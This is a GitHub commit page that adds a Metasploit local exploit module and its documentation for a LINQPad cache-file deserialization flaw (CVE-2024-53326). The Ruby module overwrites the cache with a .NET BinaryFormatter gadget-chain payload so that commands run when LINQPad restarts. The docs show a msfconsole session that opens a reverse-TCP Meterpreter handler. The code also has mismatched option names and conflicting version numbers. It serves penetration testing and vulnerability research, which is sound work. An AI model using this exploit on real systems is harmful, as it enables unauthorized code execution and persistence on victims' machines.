Skip to content

Commit 5faa0a5

Browse files
authored
Merge pull request #19777 from msutovsky-r7/linqpad_deserialization
Linqpad deserialization persistence
2 parents 6c41e9b + 3af76cf commit 5faa0a5

File tree

2 files changed

+136
-0
lines changed

2 files changed

+136
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
## LINQPad 5.48 Deserialization
2+
3+
LINQPad is a scratchpad for .NET programming. Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/).
4+
5+
## Verification Steps
6+
Steps:
7+
8+
1. Install the application
9+
2. Start msfconsole
10+
3. Get Meterpreter/cmd shell
11+
4. Run: `use windows/local/linqpad_deserialization`
12+
5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters
13+
5. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup`
14+
6. Run exploit
15+
16+
## Options
17+
18+
### cleanup
19+
20+
Enable cleanup of malicious file. The module will replace cache filewith malicious content. If `cleanup` is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad.
21+
22+
23+
### cache\_path
24+
25+
The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file.
26+
27+
### linqpad\_path
28+
29+
Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit.
30+
31+
Example:
32+
33+
```
34+
msf6 > use exploit/multi/handler
35+
msf6 exploit(multi/handler) > set LHOST 192.168.95.128
36+
msf6 exploit(multi/handler) > set LPORT 4242
37+
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
38+
msf6 exploit(multi/handler) > run
39+
[*] Started reverse TCP handler on 192.168.95.128:4242
40+
[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100
41+
42+
meterpreter > background
43+
[*] Backgrounding session 1...
44+
msf6 exploit(multi/handler) > use windows/local/linqpad_deserialization
45+
msf6 exploit(windows/local/linqpad_deserialization) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe
46+
msf6 exploit(windows/local/linqpad_deserialization) > set payload windows/exec/cmd
47+
msf6 exploit(windows/local/linqpad_deserialization) > set cache_path C:/Users/ms/AppData/Local/LINQPad
48+
msf6 exploit(windows/local/linqpad_deserialization) > set CMD calc.exe
49+
msf6 exploit(windows/local/linqpad_deserialization) > set session 1
50+
msf6 exploit(windows/local/linqpad_deserialization) > exploit
51+
[*] Exploit completed, but no session was created.
52+
```
53+
54+
Previous example will run `calc.exe` when LINQPad will start.
55+
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8+
9+
# includes file?, directory?
10+
include Msf::Post::File
11+
12+
# includes generate
13+
include Msf::Util::DotNetDeserialization
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
'Name' => 'LINQPad Deserialization Exploit',
20+
'Description' => %q{
21+
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [
25+
'msutovsky-r7 <[email protected]>',
26+
'James Williams' # original research
27+
],
28+
'Platform' => 'win',
29+
'SessionTypes' => [ 'shell', 'meterpreter' ],
30+
'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
31+
'Privileged' => true,
32+
'References' => [
33+
[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
34+
[ 'CVE', '2024-53326']
35+
],
36+
'DisclosureDate' => '2024-12-03',
37+
'DefaultTarget' => 0,
38+
'Notes' => {
39+
'Stability' => [CRASH_SAFE],
40+
'Reliability' => [REPEATABLE_SESSION],
41+
'SideEffects' => [ARTIFACTS_ON_DISK]
42+
}
43+
)
44+
)
45+
register_options([
46+
OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']),
47+
OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']),
48+
OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish'])
49+
])
50+
end
51+
52+
# Simplify pulling the writable directory variable
53+
54+
def check
55+
if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH'])
56+
return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist')
57+
elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
58+
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
59+
elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat')
60+
return Exploit::CheckCode::Unknown('Cannot find cache file')
61+
elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat')
62+
return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
63+
else
64+
return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable')
65+
end
66+
end
67+
68+
def exploit
69+
# generate payload
70+
dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
71+
payload.encoded, # this is the Operating System command to run
72+
gadget_chain: :TextFormattingRunProperties,
73+
formatter: :BinaryFormatter
74+
)
75+
# try to overwrite cache file
76+
fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload)
77+
78+
# add cleanup option
79+
register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP']
80+
end
81+
end

0 commit comments

Comments
 (0)